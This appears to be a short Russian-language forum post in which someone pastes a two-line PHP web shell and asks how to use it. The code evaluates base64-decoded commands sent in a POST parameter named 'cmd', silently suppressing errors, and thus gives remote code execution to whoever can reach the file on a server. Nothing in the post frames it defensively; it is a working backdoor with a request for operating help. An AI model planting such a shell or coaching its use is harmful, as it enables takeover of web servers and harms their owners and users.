Вот такой шелл:

if (!empty($_POST[cmd]))

@eval(base64_decode($_POST[cmd]));

как его юзать?